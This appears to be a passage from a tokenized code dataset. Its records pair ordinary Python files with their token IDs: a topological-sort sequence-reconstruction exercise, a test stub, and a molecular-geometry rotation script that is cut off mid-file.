3017,
510,
30004,
13,
3166,
10772,
17303,
29945,
29889,
17303,
8801,
29879,
1053,
334,
30004,
13,
5215,
5401,
29941,
29906,
510,
29889,
4645,
30004,
13,
30004,
13,
5215,
5401,
29941,
29906,
3696,
30004,
13,
30004,
13,
29887,
29918,
5415,
3399,
29924,
629,
353,
5401,
29941,
29906,
510,
29889,
4645,
29889,
14777,
877,
29907,
29886,
7270,
29889,
29907,
29886,
3399,
29924,
629,
1495,
30004,
13,
30004,
13,
16329,
2624,
353,
5401,
29941,
29906,
3696,
29889,
4391,
2624,
29898,
8516,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
6213,
8443,
13,
30004,
13,
30004,
13,
1990,
315,
29886,
2624,
29901,
30004,
13,
1678,
822,
731,
29918,
7529,
29898,
1311,
29892,
3132,
29892,
1024,
29892,
24959,
1125,
30004,
13,
4706,
1583,
29889,
4645,
353,
3132,
29871,
396,
28505,
29871,
239,
142,
167,
30889,
237,
179,
135,
29871,
240,
137,
184,
31262,
1203,
30004,
13,
4706,
1583,
29889,
978,
353,
1024,
29871,
396,
29871,
31093,
31487,
30784,
30903,
29871,
30709,
238,
168,
187,
29871,
30393,
238,
181,
167,
31177,
31517,
29871,
31231,
238,
185,
135,
30944,
30827,
29871,
31724,
30877,
29871,
30393,
238,
169,
135,
30004,
13,
4706,
1583,
29889,
4804,
261,
353,
24959,
29871,
396,
6939,
29871,
31286,
29871,
31724,
31435,
29871,
31199,
237,
183,
131,
30004,
13,
30004,
13,
1678,
822,
1551,
29816,
29898,
1311,
1125,
30004,
13,
4706,
396,
29871,
239,
142,
167,
30889,
237,
179,
135,
29871,
239,
181,
155,
30826,
448,
29871,
31680,
31973,
30903,
29871,
30981,
31406,
29871,
239,
181,
183,
237,
181,
179,
30004,
13,
4706,
565,
1583,
29889,
978,
1275,
525,
17712,
29885,
303,
2396,
30004,
13,
9651,
1596,
877,
3757,
6402,
1495,
30004,
13,
9651,
5401,
29941,
29906,
3696,
29889,
2697,
2624,
29898,
16329,
2624,
8443,
13,
9651,
736,
30004,
13,
30004,
13,
30004,
13,
1990,
315,
29886,
23902,
5612,
368,
29901,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
5446,
2624,
1125,
30004,
13,
4706,
1583,
29889,
978,
353,
376,
17712,
29885,
303,
19451,
13,
4706,
1583,
29889,
5415,
353,
5446,
2624,
30004,
13,
30004,
13,
1678,
822,
3323,
13086,
29898,
1311,
1125,
30004,
13,
4706,
7834,
353,
5401,
29941,
29906,
510,
29889,
4645,
29889,
3047,
13634,
29898,
1311,
29889,
5415,
29892,
315,
29886,
2624,
8443,
13,
4706,
7834,
29889,
842,
29918,
7529,
29898,
1311,
29889,
5415,
29892,
1583,
29889,
978,
29892,
6213,
8443,
13,
30004,
13,
30004,
13,
1753,
7777,
29925,
3427,
29898,
15619,
1125,
30004,
13,
1678,
4480,
1849,
353,
518,
16329,
2624,
29962,
30004,
13,
1678,
1550,
29871,
29896,
29901,
30004,
13,
4706,
364,
29883,
353,
5401,
29941,
29906,
3696,
29889,
16190,
15716,
2831,
15329,
552,
12724,
29898,
30004,
13,
9651,
4480,
1849,
11167,
13,
632,
29900,
29892,
29871,
396,
20340,
363,
599,
353,
2089,
29892,
577,
372,
11324,
1169,
363,
5019,
30004,
13,
9651,
11815,
29892,
29871,
396,
313,
272,
5401,
29941,
29906,
3696,
29889,
24065,
1177,
9094,
8443,
13,
9651,
5401,
29941,
29906,
3696,
29889,
29984,
29903,
29918,
1964,
1307,
29963,
3919,
29903,
29897,
29871,
396,
29848,
29879,
599,
1881,
30004,
13,
30004,
13,
4706,
565,
364,
29883,
1275,
5401,
29941,
29906,
3696,
29889,
12982,
1806,
29918,
14824,
17637,
29918,
29900,
29901,
30004,
13,
9651,
396,
8680,
937,
1741,
9904,
29892,
278,
22303,
2624,
29892,
471,
19799,
29892,
577,
591,
1818,
6876,
30004,
13,
9651,
1596,
877,
9847,
1741,
1495,
30004,
13,
9651,
2867,
30004,
13,
30004,
13,
4706,
25342,
364,
29883,
1275,
5401,
29941,
29906,
3696,
29889,
12982,
1806,
29918,
14824,
17637,
29918,
29900,
718,
7431,
29898,
10685,
1849,
1125,
30004,
13,
9651,
396,
319,
5417,
2643,
338,
10534,
448,
2125,
2562,
310,
372,
29889,
313,
10310,
29915,
29873,
2244,
592,
30004,
13,
9651,
396,
2020,
263,
399,
29909,
1806,
29918,
14824,
17637,
29918,
4345,
29954,
3508,
29915,
29873,
3342,
529,
399,
29909,
1806,
29918,
14824,
17637,
29918,
29900,
856,
29991,
467,
30004,
13,
9651,
396,
910,
2643,
29899,
643,
1747,
341,
17321,
367,
2309,
363,
23353,
29892,
360,
2287,
29892,
322,
916,
30004,
13,
9651,
396,
3852,
29891,
2712,
304,
664,
6284,
29991,
30004,
13,
9651,
1596,
877,
29886,
3427,
1495,
30004,
13,
9651,
565,
3017,
510,
29889,
29925,
3427,
15716,
292,
25510,
7295,
30004,
13,
18884,
2867,
29871,
396,
591,
4520,
263,
281,
29885,
29918,
28358,
2643,
30004,
13,
4706,
25342,
364,
29883,
1275,
5401,
29941,
29906,
3696,
29889,
12982,
1806,
29918,
15307,
12015,
29901,
30004,
13,
9651,
1596,
877,
15619,
1495,
30004,
13,
9651,
736,
30004,
13,
9651,
1209,
30004,
13,
4706,
1683,
29901,
30004,
13,
9651,
1596,
877,
11739,
1495,
30004,
13,
9651,
12020,
24875,
2392,
703,
348,
9684,
5401,
29941,
29906,
10685,
736,
995,
1159,
30004,
13,
30004,
13,
30004,
13,
401,
353,
525,
29909,
29900,
29900,
29945,
29929,
29941,
29900,
29915,
30004,
13,
30004,
13,
13383,
13383,
13383,
7346,
4136,
2277,
30004,
13,
29937,
29871,
29896,
29889,
15658,
3089,
30004,
13,
2158,
877,
13383,
13383,
4136,
29937,
1495,
30004,
13,
5415,
20754,
384,
29924,
303,
353,
5401,
29941,
29906,
510,
29889,
4645,
29889,
14777,
703,
29928,
29879,
29907,
833,
29896,
29889,
20754,
384,
29924,
303,
1159,
30004,
13,
5415,
20754,
384,
29924,
303,
29889,
2697,
4290,
1917,
29898,
29900,
29892,
775,
8443,
13,
5415,
20754,
384,
29924,
303,
29889,
7445,
3089,
26471,
13,
2158,
877,
7445,
3089,
29871,
30906,
29871,
30970,
31262,
29871,
238,
179,
158,
31354,
29871,
238,
144,
179,
30393,
31856,
1495,
30004,
13,
667,
353,
6571,
30004,
13,
667,
1839,
31930,
238,
173,
172,
31976,
2033,
353,
330,
29918,
5415,
3399,
29924,
629,
29889,
3399,
1762,
1170,
29898,
401,
8443,
13,
667,
1839,
31680,
31973,
30903,
2033,
353,
5446,
20754,
384,
29924,
303,
29889,
2577,
7850,
1917,
29898,
29896,
29896,
29897,
29871,
396,
29871,
31930,
30903,
30004,
13,
667,
1839,
30890,
31487,
2033,
353,
5446,
20754,
384,
29924,
303,
29889,
2577,
7850,
1917,
29898,
29896,
29906,
29897,
29871,
396,
29871,
31170,
31153,
30890,
31487,
30004,
13,
2158,
29898,
667,
8443,
13,
30004,
13,
2158,
877,
1495,
30004,
13,
13383,
13383,
13383,
7346,
4136,
2277,
30004,
13,
29937,
29871,
29906,
29889,
10729,
25230,
29871,
238,
172,
151,
30889,
30811,
29871,
240,
145,
143,
240,
151,
135,
25230,
29871,
1551,
29816,
29871,
30393,
238,
181,
167,
31177,
29871,
30970,
31262,
30004,
13,
2158,
877,
13383,
13383,
4136,
29937,
1495,
30004,
13,
5415,
5612,
368,
353,
315,
29886,
23902,
5612,
368,
29898,
5415,
20754,
384,
29924,
303,
8443,
13,
5415,
5612,
368,
29889,
4035,
13086,
26471,
13,
30004,
13,
401,
353,
525,
29909,
29900,
29900,
29945,
29929,
29941,
29900,
29915,
30004,
13,
5415,
20754,
384,
29924,
303,
29889,
2697,
4290,
1917,
29898,
29900,
29892,
775,
8443,
13,
5415,
20754,
384,
29924,
303,
29889,
3089,
26471,
13,
3728,
29925,
3427,
29898,
29896,
29900,
29900,
29900,
29900,
8443,
13,
667,
353,
6571,
30004,
13,
667,
1839,
31930,
238,
173,
172,
31976,
2033,
353,
330,
29918,
5415,
3399,
29924,
629,
29889,
3399,
1762,
1170,
29898,
401,
8443,
13,
667,
1839,
31680,
31973,
30903,
2033,
353,
5446,
20754,
384,
29924,
303,
29889,
2577,
7850,
1917,
29898,
29896,
29896,
29897,
29871,
396,
29871,
31930,
30903,
30004,
13,
667,
1839,
30890,
31487,
2033,
353,
5446,
20754,
384,
29924,
303,
29889,
2577,
7850,
1917,
29898,
29896,
29906,
29897,
29871,
396,
29871,
31170,
31153,
30890,
31487,
30004,
13,
2158,
29898,
667,
8443,
13,
30004,
13,
2
] |
tests/__init__.py | cmsteffen-code/steffentools | 0 | 191245 | <reponame>cmsteffen-code/steffentools<gh_stars>0
"""SteffenTools Tests Module."""
| [
1,
529,
276,
1112,
420,
29958,
4912,
1655,
15794,
29899,
401,
29914,
1655,
600,
296,
8789,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
7789,
15794,
24183,
4321,
29879,
15591,
1213,
15945,
13,
2
] |
dsa/patterns/topological_sort.py/reconstructing_a_sequence.py | bksahu/dsa | 0 | 196566 | """
Given a sequence originalSeq and an array of sequences, write a method to find if originalSeq can be uniquely
reconstructed from the array of sequences.
Unique reconstruction means that we need to find if originalSeq is the only sequence such that all sequences in
the array are subsequences of it.
Example 1:
Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [3, 4]]
Output: true
Explanation: The sequences [1, 2], [2, 3], and [3, 4] can uniquely reconstruct
[1, 2, 3, 4], in other words, all the given sequences uniquely define the order of numbers
in the 'originalSeq'.
Example 2:
Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [2, 4]]
Output: false
Explanation: The sequences [1, 2], [2, 3], and [2, 4] cannot uniquely reconstruct
[1, 2, 3, 4]. There are two possible sequences we can construct from the given sequences:
1) [1, 2, 3, 4]
2) [1, 2, 4, 3]
Example 3:
Input: originalSeq: [3, 1, 4, 2, 5], seqs: [[3, 1, 5], [1, 4, 2, 5]]
Output: true
Explanation: The sequences [3, 1, 5] and [1, 4, 2, 5] can uniquely reconstruct
[3, 1, 4, 2, 5].
"""
from collections import deque
def can_construct(originalSeq, sequences):
sortedOrder = []
if len(originalSeq) <= 0:
return sortedOrder
inDegree = {i:0 for i in range(1, len(originalSeq)+1)}
graph = {i:[] for i in range(1, len(originalSeq)+1)}
for seq in sequences:
for i in range(len(seq)-1):
parent, child = seq[i], seq[i+1]
if parent != child:
graph[parent] += child,
inDegree[child] += 1
# if we don't have ordering rules for all numbers
if len(originalSeq) != len(inDegree):
return False
sources = deque([v for v, d in inDegree.items() if d == 0])
while sources:
# if there are more than 1 source, it's not more unique
if len(sources) > 1: return False
# if next number is different from the original sequence
if originalSeq[len(sortedOrder)] != sources[0]: return False
vertex = sources.popleft()
sortedOrder.append(vertex)
for child in graph[vertex]:
inDegree[child] -= 1
if inDegree[child] == 0:
sources.append(child)
return len(sortedOrder) == len(originalSeq) # no unqiue way
if __name__ == "__main__":
print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [3, 4]])))
print("Can construct: " + str(can_construct([1, 2, 3, 4], [[1, 2], [2, 3], [2, 4]])))
print("Can construct: " + str(can_construct([3, 1, 4, 2, 5], [[3, 1, 5], [1, 4, 2, 5]]))) | [
1,
9995,
13,
29954,
5428,
263,
5665,
2441,
23718,
322,
385,
1409,
310,
15602,
29892,
2436,
263,
1158,
304,
1284,
565,
2441,
23718,
508,
367,
20498,
873,
29871,
13,
276,
11433,
287,
515,
278,
1409,
310,
15602,
29889,
13,
13,
8110,
802,
17789,
4080,
2794,
393,
591,
817,
304,
1284,
565,
2441,
23718,
338,
278,
871,
5665,
1316,
393,
599,
15602,
297,
29871,
13,
1552,
1409,
526,
9602,
2063,
310,
372,
29889,
13,
13,
14023,
29871,
29896,
29901,
13,
4290,
29901,
2441,
23718,
29901,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1402,
19359,
29879,
29901,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
518,
29941,
29892,
29871,
29946,
5262,
13,
6466,
29901,
1565,
13,
1252,
9018,
362,
29901,
450,
15602,
518,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
322,
518,
29941,
29892,
29871,
29946,
29962,
508,
20498,
873,
337,
11433,
1678,
13,
29961,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1402,
297,
916,
3838,
29892,
599,
278,
2183,
15602,
20498,
873,
4529,
278,
1797,
310,
3694,
29871,
13,
262,
278,
525,
13492,
23718,
4286,
29871,
13,
13,
14023,
29871,
29906,
29901,
13,
4290,
29901,
2441,
23718,
29901,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1402,
19359,
29879,
29901,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
518,
29906,
29892,
29871,
29946,
5262,
13,
6466,
29901,
2089,
13,
1252,
9018,
362,
29901,
450,
15602,
518,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
322,
518,
29906,
29892,
29871,
29946,
29962,
2609,
20498,
873,
337,
11433,
29871,
13,
29961,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1822,
1670,
526,
1023,
1950,
15602,
591,
508,
3386,
515,
278,
2183,
15602,
29901,
13,
29896,
29897,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29962,
13,
29906,
29897,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29946,
29892,
29871,
29941,
29962,
13,
13,
14023,
29871,
29941,
29901,
13,
4290,
29901,
2441,
23718,
29901,
518,
29941,
29892,
29871,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
1402,
19359,
29879,
29901,
5519,
29941,
29892,
29871,
29896,
29892,
29871,
29945,
1402,
518,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
5262,
13,
6466,
29901,
1565,
13,
1252,
9018,
362,
29901,
450,
15602,
518,
29941,
29892,
29871,
29896,
29892,
29871,
29945,
29962,
322,
518,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
29962,
508,
20498,
873,
337,
11433,
29871,
13,
29961,
29941,
29892,
29871,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
1822,
13,
15945,
29908,
13,
13,
3166,
16250,
1053,
316,
802,
13,
13,
1753,
508,
29918,
11433,
29898,
13492,
23718,
29892,
15602,
1125,
13,
1678,
12705,
7514,
353,
5159,
13,
1678,
565,
7431,
29898,
13492,
23718,
29897,
5277,
29871,
29900,
29901,
13,
4706,
736,
12705,
7514,
13,
1678,
297,
29928,
387,
929,
353,
426,
29875,
29901,
29900,
363,
474,
297,
3464,
29898,
29896,
29892,
7431,
29898,
13492,
23718,
7240,
29896,
2915,
13,
1678,
3983,
353,
426,
29875,
29901,
2636,
363,
474,
297,
3464,
29898,
29896,
29892,
7431,
29898,
13492,
23718,
7240,
29896,
2915,
13,
13,
1678,
363,
19359,
297,
15602,
29901,
13,
4706,
363,
474,
297,
3464,
29898,
2435,
29898,
11762,
6817,
29896,
1125,
13,
9651,
3847,
29892,
2278,
353,
19359,
29961,
29875,
1402,
19359,
29961,
29875,
29974,
29896,
29962,
13,
9651,
565,
3847,
2804,
2278,
29901,
13,
18884,
3983,
29961,
3560,
29962,
4619,
2278,
29892,
13,
18884,
297,
29928,
387,
929,
29961,
5145,
29962,
4619,
29871,
29896,
13,
13,
1678,
396,
565,
591,
1016,
29915,
29873,
505,
20520,
6865,
363,
599,
3694,
13,
1678,
565,
7431,
29898,
13492,
23718,
29897,
2804,
7431,
29898,
262,
29928,
387,
929,
1125,
13,
4706,
736,
7700,
13,
13,
1678,
8974,
353,
316,
802,
4197,
29894,
363,
325,
29892,
270,
297,
297,
29928,
387,
929,
29889,
7076,
580,
565,
270,
1275,
29871,
29900,
2314,
13,
1678,
1550,
8974,
29901,
13,
4706,
396,
565,
727,
526,
901,
1135,
29871,
29896,
2752,
29892,
372,
29915,
29879,
451,
901,
5412,
13,
4706,
565,
7431,
29898,
29879,
2863,
29897,
1405,
29871,
29896,
29901,
736,
7700,
13,
4706,
396,
565,
2446,
1353,
338,
1422,
515,
278,
2441,
5665,
13,
4706,
565,
2441,
23718,
29961,
2435,
29898,
24582,
7514,
4638,
2804,
8974,
29961,
29900,
5387,
736,
7700,
13,
4706,
12688,
353,
8974,
29889,
7323,
1563,
580,
13,
4706,
12705,
7514,
29889,
4397,
29898,
369,
4776,
29897,
13,
4706,
363,
2278,
297,
3983,
29961,
369,
4776,
5387,
13,
9651,
297,
29928,
387,
929,
29961,
5145,
29962,
22361,
29871,
29896,
13,
9651,
565,
297,
29928,
387,
929,
29961,
5145,
29962,
1275,
29871,
29900,
29901,
13,
18884,
8974,
29889,
4397,
29898,
5145,
29897,
13,
13,
1678,
736,
7431,
29898,
24582,
7514,
29897,
1275,
7431,
29898,
13492,
23718,
29897,
396,
694,
443,
26461,
434,
982,
13,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1596,
703,
6028,
3386,
29901,
376,
718,
851,
29898,
3068,
29918,
11433,
4197,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1402,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
518,
29941,
29892,
29871,
29946,
5262,
4961,
13,
1678,
1596,
703,
6028,
3386,
29901,
376,
718,
851,
29898,
3068,
29918,
11433,
4197,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
1402,
5519,
29896,
29892,
29871,
29906,
1402,
518,
29906,
29892,
29871,
29941,
1402,
518,
29906,
29892,
29871,
29946,
5262,
4961,
13,
1678,
1596,
703,
6028,
3386,
29901,
376,
718,
851,
29898,
3068,
29918,
11433,
4197,
29941,
29892,
29871,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
1402,
5519,
29941,
29892,
29871,
29896,
29892,
29871,
29945,
1402,
518,
29896,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29945,
5262,
4961,
2
] |
geotraf.py | hokru/geotrafo | 0 | 175585 | #!/usr/bin/python
import sys
import numpy as np
from math import sqrt,cos,sin,acos,radians
import argparse
"""
rotation around arbitrary torsional angles
ToDo:
- PDB files:
- read
- recognize backbone angles by name from PDB files
- translation
"""
nat=0
elem = []
xyz = []
SYM=[] # matrix to do symmetry operations
parser = argparse.ArgumentParser(description="rotation (soon: & translation) of molecular coordinates",epilog="grab a copy @ https://github.com/hokru/geotrafo",usage='%(prog)s [options] <coordinate file>')
parser.add_argument("-axis", help="specify two atom numbers for axis of rotation/translation.",type=int,nargs=2,metavar=("atom1","atom2"),default=(0,1))
parser.add_argument("molecule", help="molecular coordinate file (xyz format)",type=str,metavar="<coordinate file>")
parser.add_argument("-rmol", help="rotate whole molecule (around z-axis/origin)", action="store_true")
parser.add_argument("-rot", help="fragment rotation around given axis/bond", action="store_true")
parser.add_argument("-bond", help="fragment translation along given axis/bond", action="store_true")
parser.add_argument("-a","-angle", help="angle of rotation in degree",type=float,metavar="float",default=5.0)
parser.add_argument("-l","-length", help="length of translation in angstrom",type=float,metavar="float",default=0.1)
parser.add_argument("--debug", help="print additional output", action="store_true")
args = parser.parse_args()
print 'file : ',args.molecule
print 'input axis: : ',args.axis[0],args.axis[1]
print 'fragment rotation : ', args.rot
print 'molecule rotation : ', args.rmol
if args.rot or args.rmol:
print ' angle [degree] : ', args.a
print 'translation : ', args.bond
if args.bond:
print ' length [A] : ', args.l
sys.exit("translation not yet implemented! Sry... ")
if args.debug:
print "debugging mode turned on"
#--------------------------------------
# read xmol-type file
def readxmol(ifile,elem,xyz):
"""
read xmol file
"""
lines = ifile.readlines()
nat = int(lines[0])
title = lines[1]
for l in lines[2:]:
type, x, y, z = l.split()
xyz.append([float(x),float(y),float(z)])
elem.append(type)
# xyz.append(l)
return nat
# write xmol-type file
def writexmol(name,nat,XYZ,title='written by geotraf.py'):
"""
write xmol file with header (optional)
"""
ofile = open( name, 'w')
print >>ofile, str(nat)
print >>ofile, title
for i in range(0,nat):
print >>ofile, str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) ))
ofile.close()
return
def dihedral(p):
"""
dihedral angle from 4 input vector.
khouli formula
1 sqrt, 1 cross product"""
p0 = p[0]
p1 = p[1]
p2 = p[2]
p3 = p[3]
b0 = -1.0*(p1 - p0)
b1 = p2 - p1
b2 = p3 - p2
# normalize b1 so that it does not influence magnitude of vector
# rejections that come next
b1 /= np.linalg.norm(b1)
# vector rejections
# v = projection of b0 onto plane perpendicular to b1
# = b0 minus component that aligns with b1
# w = projection of b2 onto plane perpendicular to b1
# = b2 minus component that aligns with b1
v = b0 - np.dot(b0, b1)*b1
w = b2 - np.dot(b2, b1)*b1
# angle between v and w in a plane is the torsion angle
# v and w may not be normalized but that's fine since tan is y/x
x = np.dot(v, w)
y = np.dot(np.cross(b1, v), w)
return np.degrees(np.arctan2(y, x))
def printxyz(nat,elem,XYZ):
"""
print xyz coordinates to screen.
"""
for i in range(0,nat):
print str("% 5.5s % 4.12f % 4.12f % 4.12f" % (elem[i], float(XYZ[i,0]), float(XYZ[i,1]), float(XYZ[i,2]) ))
def normalize(v):
"""
normalize, output tuples
"""
mag2 = sum(n * n for n in v)
mag = np.sqrt(mag2)
v = tuple(n / mag for n in v)
return v
#normalize, output numpy array
def normalize2(v):
"""
normalize, output mumpy array
"""
norm = np.linalg.norm(v)
v=v/norm
return v
def q_mult(q1, q2):
"""
quarternion-quarternion multiplication
"""
w1, x1, y1, z1 = q1
w2, x2, y2, z2 = q2
w = w1 * w2 - x1 * x2 - y1 * y2 - z1 * z2
x = w1 * x2 + x1 * w2 + y1 * z2 - z1 * y2
y = w1 * y2 + y1 * w2 + z1 * x2 - x1 * z2
z = w1 * z2 + z1 * w2 + x1 * y2 - y1 * x2
return w, x, y, z
def q_conjugate(q):
"""
quarternion conjugate
"""
w, x, y, z = q
return (w, -x, -y, -z)
def qv_mult(q1, v1):
"""
quarternion-vector multiplication
"""
q2 = (0.0,) + v1
return q_mult(q_mult(q1, q2), q_conjugate(q1))[1:]
def axisangle_to_q(v, theta):
"""
quarternion rotation
"""
v = normalize(v)
x, y, z = v
theta /= 2
w = cos(theta)
x = x * sin(theta)
y = y * sin(theta)
z = z * sin(theta)
return w, x, y, z
def q_to_axisangle(q):
"""
quarternion rotation
"""
w, v = q[0], q[1:]
theta = acos(w) * 2.0
return normalize(v), theta
def rotvec(axis,vec,degree):
"""
quarternion rotation
input: rotation axis, vector to rotate(eg atom coordinates),rotation in degree
output: new vector
tuples only internally
"""
tupvec=tuple(vec)
angle=radians(degree)
qrot=axisangle_to_q(axis,angle)
newv = qv_mult(qrot, tupvec)
return list(newv)
# input: at1/2 define the atoms that span the axis vector; degree the rotation angle, atlist
# denotes which atoms to rotate; XYZ contains all coordinates
def rotmol(at1,at2,degree,atlist,XYZ):
"""
rotation of vectors in atlist using the RotationMatrix from 'RotMatArb'.
RotVecArb is the
"""
p1=XYZ[at1,:]
p2=XYZ[at2,:]
axis=np.subtract(p2,p1)
rad=radians(degree)
for i in sorted(atlist[:]):
print 'rotating...',i
v=XYZ[i,:]
# * get rotation matrix, then multiply with vector
#debug oldD= dihedral((XYZ[20,:],p1,p2,v))
Rmat= RotMatArb(axis,rad,p2,v)
XYZ[i,:]=RmatxVec(Rmat,v)
# newD= dihedral((XYZ[20,:],p1,p2,XYZ[i,:]))
# print newD,oldD,oldD-newD
# * get vector directly (slower?)
# XYZ[i,:]=RotVecArb(axis,rad,p2,v)
# * using quarternions *
## v=np.subtract(XYZ[i,:],p2[:])
## XYZ[i,:]=rotvec(axis,v,degree)+p2
return
def molecule_rot(axis,degree,XYZ):
"""
molecular rotation
use axis to specify x,y,z vectors
"""
atlist=range(0,len(XYZ))
rad=radians(degree)
p2=np.array([0,0,0])
for i in sorted(atlist[:]):
print 'rotating...',i
v=XYZ[i,:]
Rmat= RotMatArb(axis,rad,p2,v)
XYZ[i,:]=RmatxVec(Rmat,v)
def RmatxVec(rmat,v):
"""
(4x4) rotation matrix (RotArbMat) times vector to rotate; returns rotated vector
homogenous coordinates.
"""
v=np.append(v,1)
vrot=np.dot(rmat,v)
return vrot[:3]
def rotmolMAT(at1,at2,degree,atlist,XYZ):
"""
similar to rotmol, except it uses the Rodriguez(?) rotation matrices.
"""
p1=XYZ[at1,:]
p2=XYZ[at2,:]
axis=np.subtract(p2,p1)
axis=np.subtract(axis,p2)
rad=radians(degree)
for i in atlist[:]:
v=np.subtract(XYZ[i,:],p2)
#both should work vrot=np.dot(rotation_matrix(axis,rad),v)
vrot=np.dot(rotation_matrix2(axis,rad),v)
XYZ[i,:]=np.add(vrot,p2)
return
def rotation_matrix(axis, theta):
"""
Return the rotation matrix associated with counterclockwise rotation about
the given axis by theta radians. translation necessary.
"""
axis = np.asarray(axis)
theta = np.asarray(theta)
axis = axis/np.sqrt(np.dot(axis, axis))
a = np.cos(theta/2.0)
b, c, d = -axis*np.sin(theta/2.0)
aa, bb, cc, dd = a*a, b*b, c*c, d*d
bc, ad, ac, ab, bd, cd = b*c, a*d, a*c, a*b, b*d, c*d
return np.array([[aa+bb-cc-dd, 2*(bc+ad), 2*(bd-ac)],
[2*(bc-ad), aa+cc-bb-dd, 2*(cd+ab)],
[2*(bd+ac), 2*(cd-ab), aa+dd-bb-cc]])
def rotation_matrix2(axis,theta):
"""
from Rafal, a bit different (signs). clockwise rotation?
translation necessary.
"""
axis = axis/np.sqrt(np.dot(axis,axis))
a = np.cos(theta/2.0)
b,c,d = -axis*np.sin(theta/2)
return np.array([[a*a+b*b-c*c-d*d, 2*(b*c-a*d), 2*(b*d+a*c)],
[2*(b*c+a*d), a*a+c*c-b*b-d*d, 2*(c*d-a*b)],
[2*(b*d-a*c), 2*(c*d+a*b), a*a+d*d-b*b-c*c]])
def RotMatArb(axis,theta,point,vec):
"""
rotation matrix around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/
matrix translated from java code. no translation necessary.
"""
a=point[0]
b=point[1]
c=point[2]
axis = axis/np.sqrt(np.dot(axis,axis))
u=axis[0]
v=axis[1]
w=axis[2]
cosT=cos(theta)
oneMinusCosT=1.0-cosT
sinT=sin(theta)
v2,w2,u2 = v*v,w*w,u*u
#matrix element wise
m11 = u2 + (v2 + w2) * cosT;
m12 = u*v * oneMinusCosT - w*sinT
m13 = u*w * oneMinusCosT + v*sinT
m14 = (a*(v2 + w2) - u*(b*v + c*w))*oneMinusCosT + (b*w - c*v)*sinT
m21 = u*v * oneMinusCosT + w*sinT
m22 = v2 + (u2 + w2) * cosT
m23 = v*w * oneMinusCosT - u*sinT
m24 = (b*(u2 + w2) - v*(a*u + c*w))*oneMinusCosT + (c*u - a*w)*sinT
m31 = u*w * oneMinusCosT - v*sinT
m32 = v*w * oneMinusCosT + u*sinT
m33 = w2 + (u2 + v2) * cosT
m34 = (c*(u2 + v2) - w*(a*u + b*v))*oneMinusCosT + (a*v - b*u)*sinT
return np.array([[m11,m12,m13,m14],
[m21,m22,m23,m24],
[m31,m32,m33,m34],
[0,0,0,1]])
def RotVecArb(axis,theta,point,vec):
"""
rotation around arbitrary axis, following http://inside.mines.edu/fs_home/gmurray/ArbitraryAxisRotation/
include multiplication of xyz. probably slower.
"""
a=point[0]
b=point[1]
c=point[2]
axis = axis/np.sqrt(np.dot(axis,axis))
u=axis[0]
v=axis[1]
w=axis[2]
x=vec[0]
y=vec[1]
z=vec[2]
cosT=cos(theta)
oneMinusCosT=1.0-cosT
sinT=sin(theta)
v2,w2,u2 = v*v,w*w,u*u
bv,cw,ux,vy,wz,cv,bw,wy,vz = b*v,c*w,u*x,v*y,w*z,c*v,b*w,w*y,v*z
au,cu,aw,wx,uz = a*u,c*u,a*w,w*x,u*z
bu,av,vx,uy = b*u,a*v,v*x,u*y
rx=(a*(v2+w2)-u*(bv+cw-ux-vy-wz))*oneMinusCosT+x*cosT+(-cv+bw-wy+vz)*sinT
ry=(b*(u2+w2)-v*(au+cw-ux-vy-wz))*oneMinusCosT+y*cosT+(cu-aw+wx-uz)*sinT
rz=(c*(u2+v2)-w*(au+bv-ux-vy-wz))*oneMinusCosT+z*cosT+(-bu+av-vx+uy)*sinT
return np.array([rx,ry,rz])
# return list of atoms connected to atom a
#def get_atlist(a,XYZ,atlist):
# return
def c_dist(di,dj): ##calculate distance between 2 lines of coords
"""
cartesian distance between two vectors(coordinates).
"""
x=np.subtract(di,dj)
dist=np.linalg.norm(x)
return dist
def bond_mat(nat,elem,XYZ):
"""
construct a bonding matrix (atom i, atom j). Bond is assumed when bond_length minus (cov_rad_i+cov_rad_j)/2
is smaller then 0.5.
"""
cov={'h': 0.6430, 'he': 0.6430,'li': 2.4570,'be': 1.9090,'b': 1.5870, 'c':1.4360,'n': 1.3090,\
'o': 1.0960, 'f': 1.1200, 'ne': 0.9450, 'na': 2.9860,'mg': 2.6460,'al':2.4000,'si': 2.1920,\
'p': 2.0600,'s': 1.8900,'cl': 1.7950,'ar': 1.7010,'k': 3.8360,'ca:' :3.2880,'sc':2.7210,\
